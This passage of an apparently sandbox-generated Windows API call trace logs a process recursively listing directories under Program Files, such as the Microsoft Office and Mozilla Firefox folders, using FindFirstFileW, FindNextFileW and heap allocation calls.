Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF") returned 77 [0055.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x42803c0 [0055.538] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.538] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0055.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.538] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0055.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0055.538] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0055.539] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ef8 [0055.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW") returned 59 [0055.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\*", lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0x42801c0 [0055.540] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0055.540] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0055.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0055.540] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0055.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0055.540] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0055.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0055.542] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0055.542] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0055.542] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.542] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0055.542] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0055.542] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0055.542] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0055.542] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4323f08 [0055.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office 15") returned 36 [0055.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280640 [0055.542] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0055.542] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0055.542] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office 15\\ClientX64") returned 46 [0055.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x4280100 [0055.543] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0055.543] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0055.543] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0055.543] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4323f08 [0055.543] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0055.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x42800c0 [0056.005] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.005] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.005] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.005] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.006] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.007] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.008] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0056.009] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser") returned 40 [0056.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x4280800 [0056.009] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.009] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.009] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.009] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.009] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.009] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0056.009] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser\\extensions") returned 51 [0056.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x4280280 [0056.009] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.009] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.010] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0056.010] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0056.010] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.010] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.010] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0056.010] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser\\features") returned 49 [0056.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x4280640 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.011] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0056.011] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0056.012] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.012] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.012] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.012] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0056.012] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements") returned 55 [0056.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x4280540 [0056.012] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.012] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0056.013] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0056.013] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0056.013] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0056.013] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.013] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0056.013] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\defaults") returned 41 [0056.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x4280380 [0056.013] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.013] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.013] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0056.014] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\defaults\\pref") returned 46 [0056.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x4280800 [0056.014] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.014] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.014] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0056.014] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0056.014] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.014] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0056.014] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0056.014] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.014] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.014] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.014] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0056.014] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\dictionaries") returned 45 [0056.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x4280140 [0056.014] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0056.023] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0056.023] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.023] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.023] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0056.023] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\fonts") returned 38 [0056.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\fonts\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x42804c0 [0056.024] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.024] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.024] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0056.024] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0056.040] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.040] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0056.040] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey") returned 45 [0056.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x4280280 [0056.040] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0056.040] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0056.040] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1") returned 49 [0056.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x42804c0 [0056.040] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0056.041] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0056.041] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0056.041] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0056.041] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.041] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: 